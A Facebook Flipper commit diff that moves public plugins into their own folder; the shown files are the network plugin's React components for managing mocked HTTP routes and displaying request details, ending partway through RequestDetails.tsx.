Plugin folders re-structuring
Summary: Here I'm changing plugin repository structure to allow re-using of shared packages between both public and fb-internal plugins, and to ensure that public plugins has their own yarn.lock as this will be required to implement reproducible jobs checking plugin compatibility with released flipper versions. Please note that there are a lot of moved files in this diff, make sure to click "Expand all" to see all that actually changed (there are not much of them actually). New proposed structure for plugin packages: ``` - root - node_modules - modules included into Flipper: flipper, flipper-plugin, react, antd, emotion -- plugins --- node_modules - modules used by both public and fb-internal plugins (shared libs will be linked here, see D27034936) --- public ---- node_modules - modules used by public plugins ---- pluginA ----- node_modules - modules used by plugin A exclusively ---- pluginB ----- node_modules - modules used by plugin B exclusively --- fb ---- node_modules - modules used by fb-internal plugins ---- pluginC ----- node_modules - modules used by plugin C exclusively ---- pluginD ----- node_modules - modules used by plugin D exclusively ``` I've moved all public plugins under dir "plugins/public" and excluded them from root yarn workspaces. Instead, they will have their own yarn workspaces config and yarn.lock and they will use flipper modules as peer dependencies. Reviewed By: mweststrate Differential Revision: D27034108 fbshipit-source-id: c2310e3c5bfe7526033f51b46c0ae40199fd7586
This commit is contained in:
committed by
Facebook GitHub Bot
parent
32bf4c32c2
commit
b3274a8450
303
desktop/plugins/public/network/ManageMockResponsePanel.tsx
Normal file
303
desktop/plugins/public/network/ManageMockResponsePanel.tsx
Normal file
@@ -0,0 +1,303 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {
|
||||
Button,
|
||||
ManagedTable,
|
||||
Text,
|
||||
Glyph,
|
||||
styled,
|
||||
colors,
|
||||
Panel,
|
||||
} from 'flipper';
|
||||
import React, {useContext, useState, useMemo, useEffect} from 'react';
|
||||
import {Route, Request, Response} from './types';
|
||||
import {MockResponseDetails} from './MockResponseDetails';
|
||||
import {NetworkRouteContext} from './index';
|
||||
import {RequestId} from './types';
|
||||
import {message, Checkbox, Modal, Tooltip} from 'antd';
|
||||
import {NUX, Layout} from 'flipper-plugin';
|
||||
|
||||
type Props = {
|
||||
routes: {[id: string]: Route};
|
||||
highlightedRows: Set<string> | null | undefined;
|
||||
requests: {[id: string]: Request};
|
||||
responses: {[id: string]: Response};
|
||||
};
|
||||
|
||||
const ColumnSizes = {route: 'flex'};
|
||||
|
||||
const Columns = {route: {value: 'Route', resizable: false}};
|
||||
|
||||
const TextEllipsis = styled(Text)({
|
||||
overflowX: 'hidden',
|
||||
textOverflow: 'ellipsis',
|
||||
maxWidth: '100%',
|
||||
lineHeight: '18px',
|
||||
paddingTop: 4,
|
||||
display: 'block',
|
||||
whiteSpace: 'nowrap',
|
||||
});
|
||||
|
||||
const Icon = styled(Glyph)({
|
||||
marginTop: 5,
|
||||
marginRight: 8,
|
||||
});
|
||||
|
||||
// return ids that have the same pair of requestUrl and method; this will return only the duplicate
|
||||
function _duplicateIds(routes: {[id: string]: Route}): Array<RequestId> {
|
||||
const idSet: {[id: string]: {[method: string]: boolean}} = {};
|
||||
return Object.entries(routes).reduce((acc: Array<RequestId>, [id, route]) => {
|
||||
if (idSet.hasOwnProperty(route.requestUrl)) {
|
||||
if (idSet[route.requestUrl].hasOwnProperty(route.requestMethod)) {
|
||||
return acc.concat(id);
|
||||
}
|
||||
idSet[route.requestUrl] = {
|
||||
...idSet[route.requestUrl],
|
||||
[route.requestMethod]: true,
|
||||
};
|
||||
return acc;
|
||||
} else {
|
||||
idSet[route.requestUrl] = {[route.requestMethod]: true};
|
||||
return acc;
|
||||
}
|
||||
}, []);
|
||||
}
|
||||
|
||||
function _buildRows(
|
||||
routes: {[id: string]: Route},
|
||||
duplicatedIds: Array<string>,
|
||||
handleRemoveId: (id: string) => void,
|
||||
handleEnableId: (id: string) => void,
|
||||
) {
|
||||
return Object.entries(routes).map(([id, route]) => ({
|
||||
columns: {
|
||||
route: {
|
||||
value: (
|
||||
<RouteRow
|
||||
key={id}
|
||||
text={route.requestUrl}
|
||||
showWarning={duplicatedIds.includes(id)}
|
||||
handleRemoveId={() => handleRemoveId(id)}
|
||||
handleEnableId={() => handleEnableId(id)}
|
||||
enabled={route.enabled}
|
||||
/>
|
||||
),
|
||||
},
|
||||
},
|
||||
key: id,
|
||||
}));
|
||||
}
|
||||
|
||||
function RouteRow(props: {
|
||||
text: string;
|
||||
showWarning: boolean;
|
||||
handleRemoveId: () => void;
|
||||
handleEnableId: () => void;
|
||||
enabled: boolean;
|
||||
}) {
|
||||
const tip = props.enabled
|
||||
? 'Un-check to disable mock route'
|
||||
: 'Check to enable mock route';
|
||||
return (
|
||||
<Layout.Horizontal gap>
|
||||
<Tooltip title={tip} mouseEnterDelay={1.1}>
|
||||
<Checkbox
|
||||
onClick={props.handleEnableId}
|
||||
checked={props.enabled}></Checkbox>
|
||||
</Tooltip>
|
||||
<Tooltip title="Click to delete mock route" mouseEnterDelay={1.1}>
|
||||
<Layout.Horizontal onClick={props.handleRemoveId}>
|
||||
<Icon name="cross-circle" color={colors.red} />
|
||||
</Layout.Horizontal>
|
||||
</Tooltip>
|
||||
{props.showWarning && (
|
||||
<Icon name="caution-triangle" color={colors.yellow} />
|
||||
)}
|
||||
{props.text.length === 0 ? (
|
||||
<TextEllipsis style={{color: colors.blackAlpha50}}>
|
||||
untitled
|
||||
</TextEllipsis>
|
||||
) : (
|
||||
<TextEllipsis>{props.text}</TextEllipsis>
|
||||
)}
|
||||
</Layout.Horizontal>
|
||||
);
|
||||
}
|
||||
|
||||
function ManagedMockResponseRightPanel(props: {
|
||||
id: string;
|
||||
route: Route;
|
||||
isDuplicated: boolean;
|
||||
}) {
|
||||
const {id, route, isDuplicated} = props;
|
||||
return (
|
||||
<Panel
|
||||
grow={true}
|
||||
collapsable={false}
|
||||
floating={false}
|
||||
heading={'Route Info'}>
|
||||
<MockResponseDetails
|
||||
key={id}
|
||||
id={id}
|
||||
route={route}
|
||||
isDuplicated={isDuplicated}
|
||||
/>
|
||||
</Panel>
|
||||
);
|
||||
}
|
||||
|
||||
export function ManageMockResponsePanel(props: Props) {
|
||||
const networkRouteManager = useContext(NetworkRouteContext);
|
||||
const [selectedId, setSelectedId] = useState<RequestId | null>(null);
|
||||
|
||||
useEffect(() => {
|
||||
setSelectedId((selectedId) => {
|
||||
const keys = Object.keys(props.routes);
|
||||
let returnValue: string | null = null;
|
||||
// selectId is null when there are no rows or it is the first time rows are shown
|
||||
if (selectedId === null) {
|
||||
if (keys.length === 0) {
|
||||
// there are no rows
|
||||
returnValue = null;
|
||||
} else {
|
||||
// first time rows are shown
|
||||
returnValue = keys[0];
|
||||
}
|
||||
} else {
|
||||
if (keys.includes(selectedId)) {
|
||||
returnValue = selectedId;
|
||||
} else {
|
||||
// selectedId row value not in routes so default to first line
|
||||
returnValue = keys[0];
|
||||
}
|
||||
}
|
||||
return returnValue;
|
||||
});
|
||||
}, [props.routes]);
|
||||
const duplicatedIds = useMemo(() => _duplicateIds(props.routes), [
|
||||
props.routes,
|
||||
]);
|
||||
|
||||
function getSelectedIds(): Set<string> {
|
||||
const newSet = new Set<string>();
|
||||
newSet.add(selectedId ?? '');
|
||||
return newSet;
|
||||
}
|
||||
|
||||
function getPreviousId(id: string): string | null {
|
||||
const keys = Object.keys(props.routes);
|
||||
const currentIndex = keys.indexOf(id);
|
||||
if (currentIndex == 0) {
|
||||
return null;
|
||||
} else {
|
||||
return keys[currentIndex - 1];
|
||||
}
|
||||
}
|
||||
|
||||
function getNextId(id: string): string | null {
|
||||
const keys = Object.keys(props.routes);
|
||||
const currentIndex = keys.indexOf(id);
|
||||
if (currentIndex >= keys.length - 1) {
|
||||
return getPreviousId(id);
|
||||
} else {
|
||||
return keys[currentIndex + 1];
|
||||
}
|
||||
}
|
||||
|
||||
return (
|
||||
<Layout.Container style={{height: 550}}>
|
||||
<Layout.Left>
|
||||
<Layout.Container width={450} pad={10} gap={5}>
|
||||
<Layout.Horizontal gap>
|
||||
<Button
|
||||
onClick={() => {
|
||||
const newId = networkRouteManager.addRoute();
|
||||
setSelectedId(newId);
|
||||
}}>
|
||||
Add Route
|
||||
</Button>
|
||||
<NUX
|
||||
title="It is now possible to highlight calls from the network call list and convert them into mock routes."
|
||||
placement="bottom">
|
||||
<Button
|
||||
onClick={() => {
|
||||
if (
|
||||
!props.highlightedRows ||
|
||||
props.highlightedRows.size == 0
|
||||
) {
|
||||
message.info('No network calls have been highlighted');
|
||||
return;
|
||||
}
|
||||
networkRouteManager.copyHighlightedCalls(
|
||||
props.highlightedRows as Set<string>,
|
||||
props.requests,
|
||||
props.responses,
|
||||
);
|
||||
}}>
|
||||
Copy Highlighted Calls
|
||||
</Button>
|
||||
</NUX>
|
||||
</Layout.Horizontal>
|
||||
<Panel
|
||||
padded={false}
|
||||
grow={true}
|
||||
collapsable={false}
|
||||
floating={false}
|
||||
heading={'Routes'}>
|
||||
<ManagedTable
|
||||
hideHeader={true}
|
||||
multiline={false}
|
||||
columnSizes={ColumnSizes}
|
||||
columns={Columns}
|
||||
rows={_buildRows(
|
||||
props.routes,
|
||||
duplicatedIds,
|
||||
(id) => {
|
||||
Modal.confirm({
|
||||
title: 'Are you sure you want to delete this item?',
|
||||
icon: '',
|
||||
onOk() {
|
||||
const nextId = getNextId(id);
|
||||
networkRouteManager.removeRoute(id);
|
||||
setSelectedId(nextId);
|
||||
},
|
||||
onCancel() {},
|
||||
});
|
||||
},
|
||||
(id) => {
|
||||
networkRouteManager.enableRoute(id);
|
||||
},
|
||||
)}
|
||||
stickyBottom={true}
|
||||
autoHeight={false}
|
||||
floating={false}
|
||||
zebra={false}
|
||||
onRowHighlighted={(selectedIds) => {
|
||||
const newSelectedId =
|
||||
selectedIds.length === 1 ? selectedIds[0] : null;
|
||||
setSelectedId(newSelectedId);
|
||||
}}
|
||||
highlightedRows={getSelectedIds()}
|
||||
/>
|
||||
</Panel>
|
||||
</Layout.Container>
|
||||
<Layout.Container>
|
||||
{selectedId && props.routes.hasOwnProperty(selectedId) && (
|
||||
<ManagedMockResponseRightPanel
|
||||
id={selectedId}
|
||||
route={props.routes[selectedId]}
|
||||
isDuplicated={duplicatedIds.includes(selectedId)}
|
||||
/>
|
||||
)}
|
||||
</Layout.Container>
|
||||
</Layout.Left>
|
||||
</Layout.Container>
|
||||
);
|
||||
}
|
||||
362
desktop/plugins/public/network/MockResponseDetails.tsx
Normal file
362
desktop/plugins/public/network/MockResponseDetails.tsx
Normal file
@@ -0,0 +1,362 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {
|
||||
FlexRow,
|
||||
FlexColumn,
|
||||
Layout,
|
||||
Button,
|
||||
Input,
|
||||
Text,
|
||||
Tabs,
|
||||
Tab,
|
||||
Glyph,
|
||||
ManagedTable,
|
||||
Select,
|
||||
styled,
|
||||
colors,
|
||||
produce,
|
||||
} from 'flipper';
|
||||
import React, {useContext, useState} from 'react';
|
||||
import {NetworkRouteContext, NetworkRouteManager} from './index';
|
||||
import {RequestId, Route} from './types';
|
||||
|
||||
type Props = {
|
||||
id: RequestId;
|
||||
route: Route;
|
||||
isDuplicated: boolean;
|
||||
};
|
||||
|
||||
const StyledSelectContainer = styled(FlexRow)({
|
||||
paddingLeft: 6,
|
||||
paddingTop: 2,
|
||||
paddingBottom: 24,
|
||||
height: '100%',
|
||||
flexGrow: 1,
|
||||
});
|
||||
|
||||
const StyledSelect = styled(Select)({
|
||||
height: '100%',
|
||||
maxWidth: 400,
|
||||
});
|
||||
|
||||
const StyledText = styled(Text)({
|
||||
marginLeft: 6,
|
||||
marginTop: 8,
|
||||
});
|
||||
|
||||
const textAreaStyle: React.CSSProperties = {
|
||||
width: '100%',
|
||||
marginTop: 8,
|
||||
height: 400,
|
||||
fontSize: 15,
|
||||
color: '#333',
|
||||
padding: 10,
|
||||
resize: 'none',
|
||||
fontFamily:
|
||||
'source-code-pro, Menlo, Monaco, Consolas, "Courier New", monospace',
|
||||
display: 'inline-block',
|
||||
lineHeight: 1.5,
|
||||
border: '1px solid #dcdee2',
|
||||
borderRadius: 4,
|
||||
backgroundColor: '#fff',
|
||||
cursor: 'text',
|
||||
WebkitTapHighlightColor: 'transparent',
|
||||
whiteSpace: 'pre-wrap',
|
||||
overflowWrap: 'break-word',
|
||||
};
|
||||
|
||||
const StyledInput = styled(Input)({
|
||||
width: '100%',
|
||||
height: 20,
|
||||
marginLeft: 8,
|
||||
flexGrow: 5,
|
||||
});
|
||||
|
||||
const HeaderStyledInput = styled(Input)({
|
||||
width: '100%',
|
||||
height: 20,
|
||||
marginTop: 6,
|
||||
marginBottom: 6,
|
||||
});
|
||||
|
||||
const HeaderGlyph = styled(Glyph)({
|
||||
marginTop: 6,
|
||||
marginBottom: 6,
|
||||
});
|
||||
|
||||
const Container = styled(FlexColumn)({
|
||||
flexWrap: 'nowrap',
|
||||
alignItems: 'flex-start',
|
||||
alignContent: 'flex-start',
|
||||
flexGrow: 1,
|
||||
overflow: 'hidden',
|
||||
});
|
||||
|
||||
const Warning = styled(FlexRow)({
|
||||
marginTop: 8,
|
||||
});
|
||||
|
||||
const HeadersColumnSizes = {
|
||||
close: '4%',
|
||||
warning: '4%',
|
||||
name: '35%',
|
||||
value: 'flex',
|
||||
};
|
||||
|
||||
const HeadersColumns = {
|
||||
close: {
|
||||
value: '',
|
||||
resizable: false,
|
||||
},
|
||||
warning: {
|
||||
value: '',
|
||||
resizable: false,
|
||||
},
|
||||
name: {
|
||||
value: 'Name',
|
||||
resizable: false,
|
||||
},
|
||||
value: {
|
||||
value: 'Value',
|
||||
resizable: false,
|
||||
},
|
||||
};
|
||||
|
||||
const selectedHighlight = {backgroundColor: colors.highlight};
|
||||
|
||||
function HeaderInput(props: {
|
||||
initialValue: string;
|
||||
isSelected: boolean;
|
||||
onUpdate: (newValue: string) => void;
|
||||
}) {
|
||||
const [value, setValue] = useState(props.initialValue);
|
||||
return (
|
||||
<HeaderStyledInput
|
||||
type="text"
|
||||
placeholder="Name"
|
||||
value={value}
|
||||
style={props.isSelected ? selectedHighlight : undefined}
|
||||
onChange={(event) => setValue(event.target.value)}
|
||||
onBlur={() => props.onUpdate(value)}
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
function _buildMockResponseHeaderRows(
|
||||
routeId: string,
|
||||
route: Route,
|
||||
selectedHeaderId: string | null,
|
||||
networkRouteManager: NetworkRouteManager,
|
||||
) {
|
||||
return Object.entries(route.responseHeaders).map(([id, header]) => {
|
||||
const selected = selectedHeaderId === id;
|
||||
return {
|
||||
columns: {
|
||||
name: {
|
||||
value: (
|
||||
<HeaderInput
|
||||
initialValue={header.key}
|
||||
isSelected={selected}
|
||||
onUpdate={(newValue: string) => {
|
||||
const newHeaders = produce(
|
||||
route.responseHeaders,
|
||||
(draftHeaders) => {
|
||||
draftHeaders[id].key = newValue;
|
||||
},
|
||||
);
|
||||
networkRouteManager.modifyRoute(routeId, {
|
||||
responseHeaders: newHeaders,
|
||||
});
|
||||
}}
|
||||
/>
|
||||
),
|
||||
},
|
||||
value: {
|
||||
value: (
|
||||
<HeaderInput
|
||||
initialValue={header.value}
|
||||
isSelected={selected}
|
||||
onUpdate={(newValue: string) => {
|
||||
const newHeaders = produce(
|
||||
route.responseHeaders,
|
||||
(draftHeaders) => {
|
||||
draftHeaders[id].value = newValue;
|
||||
},
|
||||
);
|
||||
networkRouteManager.modifyRoute(routeId, {
|
||||
responseHeaders: newHeaders,
|
||||
});
|
||||
}}
|
||||
/>
|
||||
),
|
||||
},
|
||||
close: {
|
||||
value: (
|
||||
<Layout.Container
|
||||
onClick={() => {
|
||||
const newHeaders = produce(
|
||||
route.responseHeaders,
|
||||
(draftHeaders) => {
|
||||
delete draftHeaders[id];
|
||||
},
|
||||
);
|
||||
networkRouteManager.modifyRoute(routeId, {
|
||||
responseHeaders: newHeaders,
|
||||
});
|
||||
}}>
|
||||
<HeaderGlyph name="cross-circle" color={colors.red} />
|
||||
</Layout.Container>
|
||||
),
|
||||
},
|
||||
},
|
||||
key: id,
|
||||
};
|
||||
});
|
||||
}
|
||||
|
||||
export function MockResponseDetails({id, route, isDuplicated}: Props) {
|
||||
const networkRouteManager = useContext(NetworkRouteContext);
|
||||
const [activeTab, setActiveTab] = useState<string>('data');
|
||||
const [selectedHeaderIds, setSelectedHeaderIds] = useState<Array<RequestId>>(
|
||||
[],
|
||||
);
|
||||
const [nextHeaderId, setNextHeaderId] = useState(0);
|
||||
|
||||
const {requestUrl, requestMethod, responseData, responseStatus} = route;
|
||||
|
||||
let formattedResponse = '';
|
||||
try {
|
||||
formattedResponse = JSON.stringify(JSON.parse(responseData), null, 2);
|
||||
} catch (e) {
|
||||
formattedResponse = responseData;
|
||||
}
|
||||
|
||||
return (
|
||||
<Container>
|
||||
<FlexRow style={{width: '100%'}}>
|
||||
<StyledSelectContainer>
|
||||
<StyledSelect
|
||||
grow={true}
|
||||
selected={requestMethod}
|
||||
options={{
|
||||
GET: 'GET',
|
||||
POST: 'POST',
|
||||
PATCH: 'PATCH',
|
||||
HEAD: 'HEAD',
|
||||
PUT: 'PUT',
|
||||
DELETE: 'DELETE',
|
||||
TRACE: 'TRACE',
|
||||
OPTIONS: 'OPTIONS',
|
||||
CONNECT: 'CONNECT',
|
||||
}}
|
||||
onChange={(text: string) =>
|
||||
networkRouteManager.modifyRoute(id, {requestMethod: text})
|
||||
}
|
||||
/>
|
||||
</StyledSelectContainer>
|
||||
<StyledInput
|
||||
type="text"
|
||||
placeholder="URL"
|
||||
value={requestUrl}
|
||||
onChange={(event) =>
|
||||
networkRouteManager.modifyRoute(id, {
|
||||
requestUrl: event.target.value,
|
||||
})
|
||||
}
|
||||
/>
|
||||
</FlexRow>
|
||||
<FlexRow style={{width: '20%'}}>
|
||||
<StyledInput
|
||||
type="text"
|
||||
placeholder="STATUS"
|
||||
value={responseStatus}
|
||||
onChange={(event) =>
|
||||
networkRouteManager.modifyRoute(id, {
|
||||
responseStatus: event.target.value,
|
||||
})
|
||||
}
|
||||
/>
|
||||
</FlexRow>
|
||||
{isDuplicated && (
|
||||
<Warning>
|
||||
<Glyph name="caution-triangle" color={colors.yellow} />
|
||||
<Text style={{marginLeft: 5}}>
|
||||
Route is duplicated (Same URL and Method)
|
||||
</Text>
|
||||
</Warning>
|
||||
)}
|
||||
<StyledText />
|
||||
<Tabs
|
||||
active={activeTab}
|
||||
onActive={(newActiveTab) => {
|
||||
if (newActiveTab != null) {
|
||||
setActiveTab(newActiveTab);
|
||||
}
|
||||
}}>
|
||||
<Tab key={'data'} label={'Data'}>
|
||||
<textarea
|
||||
style={textAreaStyle}
|
||||
wrap="soft"
|
||||
autoComplete="off"
|
||||
spellCheck={false}
|
||||
value={formattedResponse}
|
||||
onChange={(event) =>
|
||||
networkRouteManager.modifyRoute(id, {
|
||||
responseData: event.target.value,
|
||||
})
|
||||
}
|
||||
/>
|
||||
</Tab>
|
||||
<Tab key={'headers'} label={'Headers'}>
|
||||
<Layout.Container style={{width: '100%'}}>
|
||||
<Layout.Horizontal>
|
||||
<Button
|
||||
onClick={() => {
|
||||
const newHeaders = {
|
||||
...route.responseHeaders,
|
||||
[nextHeaderId.toString()]: {key: '', value: ''},
|
||||
};
|
||||
setNextHeaderId(nextHeaderId + 1);
|
||||
networkRouteManager.modifyRoute(id, {
|
||||
responseHeaders: newHeaders,
|
||||
});
|
||||
}}
|
||||
compact
|
||||
padded
|
||||
style={{marginBottom: 10}}>
|
||||
Add Header
|
||||
</Button>
|
||||
</Layout.Horizontal>
|
||||
<Layout.ScrollContainer>
|
||||
<ManagedTable
|
||||
hideHeader={true}
|
||||
multiline={true}
|
||||
columnSizes={HeadersColumnSizes}
|
||||
columns={HeadersColumns}
|
||||
rows={_buildMockResponseHeaderRows(
|
||||
id,
|
||||
route,
|
||||
selectedHeaderIds.length === 1 ? selectedHeaderIds[0] : null,
|
||||
networkRouteManager,
|
||||
)}
|
||||
stickyBottom={true}
|
||||
autoHeight={true}
|
||||
floating={false}
|
||||
zebra={false}
|
||||
onRowHighlighted={setSelectedHeaderIds}
|
||||
highlightedRows={new Set(selectedHeaderIds)}
|
||||
/>
|
||||
</Layout.ScrollContainer>
|
||||
</Layout.Container>
|
||||
</Tab>
|
||||
</Tabs>
|
||||
</Container>
|
||||
);
|
||||
}
|
||||
83
desktop/plugins/public/network/MockResponseDialog.tsx
Normal file
83
desktop/plugins/public/network/MockResponseDialog.tsx
Normal file
@@ -0,0 +1,83 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {Button, styled, Layout, Spacer} from 'flipper';
|
||||
|
||||
import {ManageMockResponsePanel} from './ManageMockResponsePanel';
|
||||
import {Route, Request, Response} from './types';
|
||||
import React from 'react';
|
||||
|
||||
import {NetworkRouteContext} from './index';
|
||||
import {useContext} from 'react';
|
||||
|
||||
type Props = {
|
||||
routes: {[id: string]: Route};
|
||||
onHide: () => void;
|
||||
highlightedRows: Set<string> | null | undefined;
|
||||
requests: {[id: string]: Request};
|
||||
responses: {[id: string]: Response};
|
||||
};
|
||||
|
||||
const Title = styled('div')({
|
||||
fontWeight: 500,
|
||||
marginBottom: 10,
|
||||
marginTop: 8,
|
||||
});
|
||||
|
||||
const StyledContainer = styled(Layout.Container)({
|
||||
padding: 10,
|
||||
width: 1200,
|
||||
});
|
||||
|
||||
export function MockResponseDialog(props: Props) {
|
||||
const networkRouteManager = useContext(NetworkRouteContext);
|
||||
return (
|
||||
<StyledContainer pad gap width={1200}>
|
||||
<Title>Mock Network Responses</Title>
|
||||
<Layout.Container>
|
||||
<ManageMockResponsePanel
|
||||
routes={props.routes}
|
||||
highlightedRows={props.highlightedRows}
|
||||
requests={props.requests}
|
||||
responses={props.responses}
|
||||
/>
|
||||
</Layout.Container>
|
||||
<Layout.Horizontal gap>
|
||||
<Button
|
||||
compact
|
||||
padded
|
||||
onClick={() => {
|
||||
networkRouteManager.importRoutes();
|
||||
}}>
|
||||
Import
|
||||
</Button>
|
||||
<Button
|
||||
compact
|
||||
padded
|
||||
onClick={() => {
|
||||
networkRouteManager.exportRoutes();
|
||||
}}>
|
||||
Export
|
||||
</Button>
|
||||
<Button
|
||||
compact
|
||||
padded
|
||||
onClick={() => {
|
||||
networkRouteManager.clearRoutes();
|
||||
}}>
|
||||
Clear
|
||||
</Button>
|
||||
<Spacer />
|
||||
<Button compact padded onClick={props.onHide}>
|
||||
Close
|
||||
</Button>
|
||||
</Layout.Horizontal>
|
||||
</StyledContainer>
|
||||
);
|
||||
}
|
||||
889
desktop/plugins/public/network/RequestDetails.tsx
Normal file
889
desktop/plugins/public/network/RequestDetails.tsx
Normal file
@@ -0,0 +1,889 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {Request, Response, Header, Insights, RetryInsights} from './types';
|
||||
|
||||
import {
|
||||
Component,
|
||||
FlexColumn,
|
||||
ManagedTable,
|
||||
ManagedDataInspector,
|
||||
Text,
|
||||
Panel,
|
||||
Select,
|
||||
styled,
|
||||
colors,
|
||||
SmallText,
|
||||
} from 'flipper';
|
||||
import {decodeBody, getHeaderValue} from './utils';
|
||||
import {formatBytes, BodyOptions} from './index';
|
||||
import React from 'react';
|
||||
|
||||
import querystring from 'querystring';
|
||||
import xmlBeautifier from 'xml-beautifier';
|
||||
|
||||
const WrappingText = styled(Text)({
|
||||
wordWrap: 'break-word',
|
||||
width: '100%',
|
||||
lineHeight: '125%',
|
||||
padding: '3px 0',
|
||||
});
|
||||
|
||||
const KeyValueColumnSizes = {
|
||||
key: '30%',
|
||||
value: 'flex',
|
||||
};
|
||||
|
||||
const KeyValueColumns = {
|
||||
key: {
|
||||
value: 'Key',
|
||||
resizable: false,
|
||||
},
|
||||
value: {
|
||||
value: 'Value',
|
||||
resizable: false,
|
||||
},
|
||||
};
|
||||
|
||||
type RequestDetailsProps = {
|
||||
request: Request;
|
||||
response: Response | null | undefined;
|
||||
bodyFormat: string;
|
||||
onSelectFormat: (bodyFormat: string) => void;
|
||||
};
|
||||
export default class RequestDetails extends Component<RequestDetailsProps> {
|
||||
static Container = styled(FlexColumn)({
|
||||
height: '100%',
|
||||
overflow: 'auto',
|
||||
});
|
||||
|
||||
urlColumns = (url: URL) => {
|
||||
return [
|
||||
{
|
||||
columns: {
|
||||
key: {value: <WrappingText>Full URL</WrappingText>},
|
||||
value: {
|
||||
value: <WrappingText>{url.href}</WrappingText>,
|
||||
},
|
||||
},
|
||||
copyText: url.href,
|
||||
key: 'url',
|
||||
},
|
||||
{
|
||||
columns: {
|
||||
key: {value: <WrappingText>Host</WrappingText>},
|
||||
value: {
|
||||
value: <WrappingText>{url.host}</WrappingText>,
|
||||
},
|
||||
},
|
||||
copyText: url.host,
|
||||
key: 'host',
|
||||
},
|
||||
{
|
||||
columns: {
|
||||
key: {value: <WrappingText>Path</WrappingText>},
|
||||
value: {
|
||||
value: <WrappingText>{url.pathname}</WrappingText>,
|
||||
},
|
||||
},
|
||||
copyText: url.pathname,
|
||||
key: 'path',
|
||||
},
|
||||
{
|
||||
columns: {
|
||||
key: {value: <WrappingText>Query String</WrappingText>},
|
||||
value: {
|
||||
value: <WrappingText>{url.search}</WrappingText>,
|
||||
},
|
||||
},
|
||||
copyText: url.search,
|
||||
key: 'query',
|
||||
},
|
||||
];
|
||||
};
|
||||
|
||||
render() {
|
||||
const {request, response, bodyFormat, onSelectFormat} = this.props;
|
||||
const url = new URL(request.url);
|
||||
|
||||
const formattedText = bodyFormat == BodyOptions.formatted;
|
||||
|
||||
return (
|
||||
<RequestDetails.Container>
|
||||
<Panel
|
||||
key="request"
|
||||
heading={'Request'}
|
||||
floating={false}
|
||||
padded={false}>
|
||||
<ManagedTable
|
||||
multiline={true}
|
||||
columnSizes={KeyValueColumnSizes}
|
||||
columns={KeyValueColumns}
|
||||
rows={this.urlColumns(url)}
|
||||
autoHeight={true}
|
||||
floating={false}
|
||||
zebra={false}
|
||||
/>
|
||||
</Panel>
|
||||
|
||||
{url.search ? (
|
||||
<Panel
|
||||
heading={'Request Query Parameters'}
|
||||
floating={false}
|
||||
padded={false}>
|
||||
<QueryInspector queryParams={url.searchParams} />
|
||||
</Panel>
|
||||
) : null}
|
||||
|
||||
{request.headers.length > 0 ? (
|
||||
<Panel
|
||||
key="headers"
|
||||
heading={'Request Headers'}
|
||||
floating={false}
|
||||
padded={false}>
|
||||
<HeaderInspector headers={request.headers} />
|
||||
</Panel>
|
||||
) : null}
|
||||
|
||||
{request.data != null ? (
|
||||
<Panel
|
||||
key="requestData"
|
||||
heading={'Request Body'}
|
||||
floating={false}
|
||||
padded={!formattedText}>
|
||||
<RequestBodyInspector
|
||||
formattedText={formattedText}
|
||||
request={request}
|
||||
/>
|
||||
</Panel>
|
||||
) : null}
|
||||
{response ? (
|
||||
<>
|
||||
{response.headers.length > 0 ? (
|
||||
<Panel
|
||||
key={'responseheaders'}
|
||||
heading={`Response Headers${
|
||||
response.isMock ? ' (Mocked)' : ''
|
||||
}`}
|
||||
floating={false}
|
||||
padded={false}>
|
||||
<HeaderInspector headers={response.headers} />
|
||||
</Panel>
|
||||
) : null}
|
||||
<Panel
|
||||
key={'responsebody'}
|
||||
heading={`Response Body${response.isMock ? ' (Mocked)' : ''}`}
|
||||
floating={false}
|
||||
padded={!formattedText}>
|
||||
<ResponseBodyInspector
|
||||
formattedText={formattedText}
|
||||
request={request}
|
||||
response={response}
|
||||
/>
|
||||
</Panel>
|
||||
</>
|
||||
) : null}
|
||||
<Panel
|
||||
key="options"
|
||||
heading={'Options'}
|
||||
floating={false}
|
||||
collapsed={true}>
|
||||
<Select
|
||||
grow
|
||||
label="Body"
|
||||
selected={bodyFormat}
|
||||
onChange={onSelectFormat}
|
||||
options={BodyOptions}
|
||||
/>
|
||||
</Panel>
|
||||
{response && response.insights ? (
|
||||
<Panel
|
||||
key="insights"
|
||||
heading={'Insights'}
|
||||
floating={false}
|
||||
collapsed={true}>
|
||||
<InsightsInspector insights={response.insights} />
|
||||
</Panel>
|
||||
) : null}
|
||||
</RequestDetails.Container>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class QueryInspector extends Component<{queryParams: URLSearchParams}> {
|
||||
render() {
|
||||
const {queryParams} = this.props;
|
||||
|
||||
const rows: any = [];
|
||||
queryParams.forEach((value: string, key: string) => {
|
||||
rows.push({
|
||||
columns: {
|
||||
key: {
|
||||
value: <WrappingText>{key}</WrappingText>,
|
||||
},
|
||||
value: {
|
||||
value: <WrappingText>{value}</WrappingText>,
|
||||
},
|
||||
},
|
||||
copyText: value,
|
||||
key: key,
|
||||
});
|
||||
});
|
||||
|
||||
return rows.length > 0 ? (
|
||||
<ManagedTable
|
||||
multiline={true}
|
||||
columnSizes={KeyValueColumnSizes}
|
||||
columns={KeyValueColumns}
|
||||
rows={rows}
|
||||
autoHeight={true}
|
||||
floating={false}
|
||||
zebra={false}
|
||||
/>
|
||||
) : null;
|
||||
}
|
||||
}
|
||||
|
||||
type HeaderInspectorProps = {
|
||||
headers: Array<Header>;
|
||||
};
|
||||
|
||||
type HeaderInspectorState = {
|
||||
computedHeaders: Object;
|
||||
};
|
